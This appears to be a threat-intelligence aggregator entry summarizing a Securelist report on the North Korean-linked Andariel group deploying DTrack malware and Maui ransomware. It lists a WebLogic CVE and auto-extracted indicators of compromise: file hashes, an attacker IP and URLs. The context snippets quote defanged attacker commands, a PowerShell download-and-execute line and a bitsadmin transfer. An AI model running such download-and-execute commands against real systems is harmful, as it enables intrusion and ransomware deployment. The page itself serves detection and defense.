Ransomwarehigh
Andariel deploys DTrack and Maui ransomware
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2017-10271 | Unauthenticated Remote Code Execution in Oracle WebLogic Server | 7.5 | 100% | KEVRansomwarePoC ×3 | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| ipv4 | 145.232.235.222 | ( New - Object Net . WebClient ) . DownloadString ( 'hxxp://145.232.235[.]222/usr/users/mini.ps1' ) The mini.ps1 script is responsible |
| ipv4 | 8.8.8.8 | emp\netsh.res" "C:\Windows\system32\cmd.exe" / c ping - n 1 8.8.8.8 > "%Temp%\temp\ping.res" In addition, the malware collects |
| md5 | 2f553cba839ca4dab201d3f8154bae2a | the same shellcode loader as “Backdoor.Preft” malware (MD5 2f553cba839ca4dab201d3f8154bae2a), published/reported by Symantec – note that Symantec recen |
| md5 | 5bc4b606f4c0f8cd2e6787ae049bf5bb | t from the code similarity, the actor used 3Proxy tool (MD5 5bc4b606f4c0f8cd2e6787ae049bf5bb), and that tool was also previously employed by the Andarie |
| md5 | 739812e2ae1327a94e441719b885bd19 | Track malware 2021-04-15 Maui ransomware DTrack malware MD5 739812e2ae1327a94e441719b885bd19 SHA1 102a6954a16e80de814bee7ae2b893f1fa196613 SHA256 6122c9 |
| md5 | 87e3fc08c01841999a8ad8fe25f12fe4 | e same victim, we discovered additional DTrack malware (MD5 87e3fc08c01841999a8ad8fe25f12fe4) using different login credentials. Additional DTrack modul |
| md5 | 95247511a611ba3d8581c7c6b8b1a38a | mployed by the Andariel/StoneFly/Silent Chollima group (MD5 95247511a611ba3d8581c7c6b8b1a38a). Symantec attributes StoneFly as the North Korean-linked a |
| md5 | ad4eababfe125110299e5a24be84472e | ten hours after the DTrack variant on the same server. MD5 ad4eababfe125110299e5a24be84472e SHA1 94db86c214f4ab401e84ad26bb0c9c246059daff SHA256 a557a0 |
| md5 | cf236bf5b41d26967b1ce04ebbdb4041 | aving a similar timeline to the 3Proxy tool deployment. MD5 cf236bf5b41d26967b1ce04ebbdb4041 SHA1 feb79a5a2bdf0bcf0777ee51782dc50d2901bb91 SHA256 60425a |
| md5 | f2f787868a3064407d79173ac5fc0864 | ther artifacts, and we do not have any further details. MD5 f2f787868a3064407d79173ac5fc0864 SHA1 1c4aa2cbe83546892c98508cad9da592089ef777 SHA256 92adc5 |
| sha1 | 102a6954a16e80de814bee7ae2b893f1fa196613 | re DTrack malware MD5 739812e2ae1327a94e441719b885bd19 SHA1 102a6954a16e80de814bee7ae2b893f1fa196613 SHA256 6122c94cbfa11311bea7129ecd5aea6fae6c51d23228f7378b5f |
| sha1 | 1c4aa2cbe83546892c98508cad9da592089ef777 | further details. MD5 f2f787868a3064407d79173ac5fc0864 SHA1 1c4aa2cbe83546892c98508cad9da592089ef777 SHA256 92adc5ea29491d9245876ba0b2957393633c9998eb47b3ae1344 |
| sha1 | 94db86c214f4ab401e84ad26bb0c9c246059daff | the same server. MD5 ad4eababfe125110299e5a24be84472e SHA1 94db86c214f4ab401e84ad26bb0c9c246059daff SHA256 a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f1499 |
| sha1 | feb79a5a2bdf0bcf0777ee51782dc50d2901bb91 | tool deployment. MD5 cf236bf5b41d26967b1ce04ebbdb4041 SHA1 feb79a5a2bdf0bcf0777ee51782dc50d2901bb91 SHA256 60425a4d5ee04c8ae09bfe28ca33bf9e76a43f69548b2704956d |
| sha256 | 60425a4d5ee04c8ae09bfe28ca33bf9e76a43f69548b2704956d0875a0f25145 | db4041 SHA1 feb79a5a2bdf0bcf0777ee51782dc50d2901bb91 SHA256 60425a4d5ee04c8ae09bfe28ca33bf9e76a43f69548b2704956d0875a0f25145 Link time 2020-09-16 14:16:21 File type PE32 executable (GU |
| sha256 | 6122c94cbfa11311bea7129ecd5aea6fae6c51d23228f7378b5f6b2398728f67 | 85bd19 SHA1 102a6954a16e80de814bee7ae2b893f1fa196613 SHA256 6122c94cbfa11311bea7129ecd5aea6fae6c51d23228f7378b5f6b2398728f67 Link time 2021-03-30 02:29:15 File type PE32 executable (GU |
| sha256 | 92adc5ea29491d9245876ba0b2957393633c9998eb47b3ae1344c13a44cd59ae | fc0864 SHA1 1c4aa2cbe83546892c98508cad9da592089ef777 SHA256 92adc5ea29491d9245876ba0b2957393633c9998eb47b3ae1344c13a44cd59ae Link time 2021-02-22 05:36:16 File type PE32 executable (GU |
| sha256 | a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f14992c1289b55eaa | 84472e SHA1 94db86c214f4ab401e84ad26bb0c9c246059daff SHA256 a557a0c67b5baa7cf64bd4d42103d3b2852f67acf96b4c5f14992c1289b55eaa Link time 2021-04-15 04:36:00 File type PE32 executable (GU |
| url | http://145.232.235.222/usr/users/dwem.cert | itsadmin . exe / transfer myJob / download / priority high "hxxp://145.232.235[.]222/usr/users/dwem.cert" "%appdata%\microsoft\mmc\dwem.cert" The other victim ope |
| url | http://145.232.235.222/usr/users/mini.ps1 | xe IEX ( New - Object Net . WebClient ) . DownloadString ( 'hxxp://145.232.235[.]222/usr/users/mini.ps1' ) The mini.ps1 script is responsible for downloading and |
From the original article
6 min read at securelist.com
On July 7, 2022, the CISA published an alert, entitled, “ North Korean State-Sponsored Cyber Actors Use Maui Ransomware To Target the Healthcare and Public Health Sector ,” related to a Stairwell report, “ Maui Ransomware .” Later, the Department of Justice announced that they had effectively clawed back $500,000 in ransom payments to the group, partly thanks to new legislation.
By @Securelist · securelist.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.